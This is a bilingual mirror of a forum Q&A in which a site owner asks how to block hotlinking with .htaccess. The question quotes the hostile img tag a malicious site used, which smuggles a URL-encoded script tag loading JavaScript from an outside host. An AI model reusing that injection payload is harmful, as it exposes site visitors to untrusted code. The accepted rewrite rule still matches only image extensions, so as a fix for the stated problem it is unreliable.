简体   繁体   English

使用.htaccess将没有扩展名的Hotlinker重定向到父网站

[英]Redirect Hotlinker Without Extensions to Parent Website using .htaccess

A malicious website is using img tag to insert redirect script in my website. 恶意网站使用img标签在我的网站中插入重定向脚本。 I have prevented the redirect using strip_tags() but the site is consuming all of my bandwidth. using strip_tags()阻止了重定向,但该网站正在消耗我的所有带宽。 The code he is using is: 他使用的代码是:

<img src="http://mywebsite.com/video/%3Cscript%20type=%22text/javascript%22%20src=%22http://sex3gpvideos.sextgem.com/asss.js%22%3E%3C/script%3E" alt="loading" height="0" width="0" class="thumb"></img>

I tried to add this code to prevent the img hotlink but it did't work as there is no extensions in the img link: 我试图添加此代码以防止img hotlink但它没有工作,因为img链接中没有扩展:

RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://(.+\.)?mywebsite\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule .*\.(jpe?g|gif|bmp|png)$ http://i.imgur.com/qX4w7.gif [L]

I want to redirect all websites using my domain in img tags <img src="http://mywebsite.com/ANYTHING-HERE"/> to mywebsite.com 我想将所有使用我的域名的网站重定向到img标签<img src="http://mywebsite.com/ANYTHING-HERE"/>到mywebsite.com

How do I do it using .htaccess? 我怎么用.htaccess呢?

You need just one condition to redirect the referer to another location: 您只需要一个条件就可以将引用者重定向到另一个位置:

Try : 试试:

RewriteEngine On
RewriteCond %{HTTP_REFERER} !^https?://(www\.)?mywebsite\.com/ [NC]
RewriteRule .*\.(jpe?g|gif|bmp|png)$ http://i.imgur.com/qX4w7.gif [L,R]

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM